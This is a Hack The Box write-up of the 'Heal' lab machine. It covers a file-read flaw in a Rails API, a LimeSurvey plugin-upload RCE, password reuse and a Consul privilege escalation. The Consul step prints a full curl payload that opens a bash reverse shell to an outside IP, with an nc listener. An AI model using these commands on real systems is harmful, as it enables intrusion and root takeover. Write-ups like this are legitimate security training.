# HEAL - Hack The Box (Linux, Medium)

**Author:** *DottorManu*
**Date:** *04/04/2025*

---

## Index

---

## 1. Introduction

“Heal” is a **Medium**-rated Linux machine from Hack The Box. It hosts multiple web services, including **Ruby on Rails** and **LimeSurvey**, and requires **pivoting** to an internal service (**Consul**) to ultimately gain root privileges.

In this writeup, I’ll walk through the entire process, from the initial network scan and discovering the vulnerable endpoints, to obtaining a limited shell as `www-data`, performing a pivot to the internal Consul service, and finally escalating privileges to **root**.

## 2. Initial Enumeration

### Nmap Scan

First, I ran a standard full-port scan with service detection:

```
nmap -v -p- -sV --min-rate 1000 10.10.10.10
```

The output revealed two primary ports:

**22/tcp** – SSH
**80/tcp** – HTTP

I ignored SSH for the moment (since direct exploitation on SSH is uncommon) and concentrated on the HTTP service. Using tools like **dirsearch**, **whatweb**, and **gobuster**, I discovered multiple sites handled by virtual hosts and a possible reverse proxy setup (Nginx + Apache).

## 3. Discovering the Backend & Arbitrary File Read

Visiting `http://heal.htb`, I encountered a login/registration form that allowed users to fill out CV-style information and export it to PDF. Inspecting these export requests with **Burp Suite** showed the calls were made to `api.heal.htb`, a Ruby on Rails application.

### Arbitrary File Read Vulnerability

By manipulating common parameters such as `file=` and `path=`, I discovered an **Arbitrary File Read**. It allowed me to read sensitive system files like `/etc/passwd`. Building on this, I was able to retrieve critical **Rails-specific** files such as:

`../../config/database.yml`
`../../storage/development.sqlite3`

From these files, I recovered database credentials for the application's administrator account. Although these credentials didn't grant immediate access elsewhere, I noted them for potential password reuse.

## 4. LimeSurvey Access & First Shell

During further enumeration, I noticed that some pages on `heal.htb` (e.g., "About" or certain error pages) mentioned **LimeSurvey v6.6.4** and a user `ralph@heal.htb`.

A quick search revealed a known **RCE vulnerability (CVE-2021-44967)** in LimeSurvey v6.6.4, exploitable by uploading a malicious plugin (ZIP file).

### Exploiting LimeSurvey

I found a relevant exploit script on GitHub that automatically uploads a plugin ZIP containing a reverse shell payload (a `.php` file). Once processed, it provided a reverse shell on my attacker machine, running as `www-data`.

## 5. Escalation to "Ron" User

### Upgrading the Shell

My initial reverse shell was very limited (no proper TTY). I used a shell handler (like "Penelope" or **rlwrap**) to upgrade to a fully interactive TTY and to run enumeration scripts (e.g., LinPEAS).

### Finding Ron's Password

Examining the LimeSurvey configuration files in:

```
/var/www/limesurvey/application/config/
```

revealed a cleartext password. I then performed a password-spraying attempt against local users in `/etc/passwd`. The password worked for **ron**, whose home directory contained the**user flag**.

## 6. Pivoting to Internal Service (Consul)

### Local Port Forwarding

Using `netstat -tupln` or `ss -alnp`, I discovered a few services listening exclusively on `127.0.0.1`, notably **port 8500**. By forwarding that port to my local machine (e.g., `ssh -L 8500:127.0.0.1:8500 user@target`), I determined it was running **Consul v1.19.2**.

## 7. Privilege Escalation to Root

### Consul Exploit

A known exploit (Exploit-DB #51117) lets you register a new service in Consul and assign a script to run periodically, bypassing typical access controls.

I crafted a JSON payload to trigger a reverse shell back to my box:

```
 curl -X PUT \
-d '{"Address":"127.0.0.1","check":{"Args":["/bin/bash","-c","bash -i >&
/dev/tcp/10.10.14.207/8443 0>&1"],"interval":"10s","Timeout":"864000s"},"ID":"gato","Name":"gato","Port":80}' \
http://127.0.0.1:8500/v1/agent/service/register
```

Then, I opened a listener (e.g., `nc -lvnp 8443` or Penelope). Within seconds, I received a shell:

```
 whoami
root
```

No further escalation was necessary beyond registering this new Consul service.

## 8. Conclusions

Key lessons from this box:

**VHosts & Reverse Proxy**: Always enumerate for hidden subdomains or VHosts. Nginx may proxy multiple internal services.
**Arbitrary File Read in Rails**: If you can read arbitrary files, look for `database.yml`, `.sqlite` DBs, etc. for credentials.
**Vulnerable LimeSurvey**: Pinpoint application versions. LimeSurvey v6.6.4 is exploitable via malicious plugin uploads.
**Password Reuse**: Reuse discovered credentials against other services or local users.
**Pivoting to Internal Services**: Port forward to access services bound to `127.0.0.1`. Critical tools (like Consul) might only be internally exposed.
**Consul 1.19.2 RCE**: Misconfigurations can allow you to register services that run arbitrary commands as `root`.

*Enjoy hacking and have fun exploring this multi-layered challenge!*